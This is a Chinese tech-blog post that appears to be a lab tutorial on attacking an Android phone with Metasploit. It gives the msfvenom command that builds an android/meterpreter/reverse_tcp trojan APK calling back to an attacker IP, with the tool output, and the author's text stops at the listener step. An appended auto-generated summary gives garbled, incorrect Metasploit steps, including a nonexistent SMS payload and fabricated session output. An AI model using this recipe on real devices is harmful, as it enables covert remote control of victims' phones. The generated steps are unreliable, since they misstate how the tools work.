msf生成木马攻击android手机

在kali攻击机上,通过生成反弹木马并启动msf监听,成功安装到oppor9st靶机上,尽管手机报毒,说明了攻击过程中的安全挑战与加壳技术的应用。
摘要由CSDN通过智能技术生成
  • 实验环境

攻击机:kali       IP:192.168.43.5

靶机:oppor9st

 

  • 生成木马攻击android手机

1.在kali上生成反弹木马

root@afei:~# msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.43.5 lport=6666 R > hello.apk

[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload

[-] No arch selected, selecting arch: dalvik from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 10088 bytes



root@afei:~# ls

Cookies Desktop hack-tools hello.apk 抖音.exe

root@afei:~#

 

2.使用msf开启监听


                
Kali Linux是一个著名的开源渗透测试平台,其中包含Metasploit Framework (MSF) 这个强大的攻击工具集。如果你想在Kali里利用Metasploit生成针对Android的恶意软件(木马),你需要按照以下步骤操作: 1. **安装 Metasploit**:首先,在终端中更新系统并安装Metasploit框架: ``` sudo apt-get update sudo apt-get install -y metasploit-framework ``` 2. **加载 Android payload**:在Metasploit的交互模式(`meterpreter>`提示符下),输入`use exploit/multi/handler`选择通用处理器的处理程序。然后输入`set platform android`设置目标平台为Android。 3. **选择payload**:查看可用的Android payload,如 `search 'android'`。例如,如果你想要发送短信诱导用户点击,可以使用`exploit/multi/handler -p android/meterpreter/reverse_sms`。记得替换`RHOSTS`、`LPORT`等变量为你实际的目标主机和端口。 4. **配置Payload**:设置接收连接的IP地址和端口,以及必要的权限提升选项等。 5. **生成木马**:最后,运行命令`run`执行生成过程,Metasploit会生成一个Android木马文件,通常以`.apk`文件形式提供。 ```plaintext meterpreter > use exploit/multi/handler meterpreter > set platform android meterpreter > search 'android' [*] Modules matching the query 'android': [+] exploit/multi/handler - Multi-handler for exploitation payloads [+] exploit/multi/handler/android/meterpreter/reverse_https - HTTPS reverse TCP handler for Android [+] exploit/multi/handler/android/meterpreter/reverse_http - HTTP reverse TCP handler for Android ... meterpreter > set payload android/meterpreter/reverse_sms meterpreter > set lhost <your_ip_address> meterpreter > set lport <your_port> meterpreter > run [*] Generating stage... [*] Sending staging package... [*] Meterpreter session 1 opened (<your_ip_address>:<your_port>) at <target_device>:<received_port> by 192.168.1.10 as uid 0 ```
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

afei00123

您的支持是我创作最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值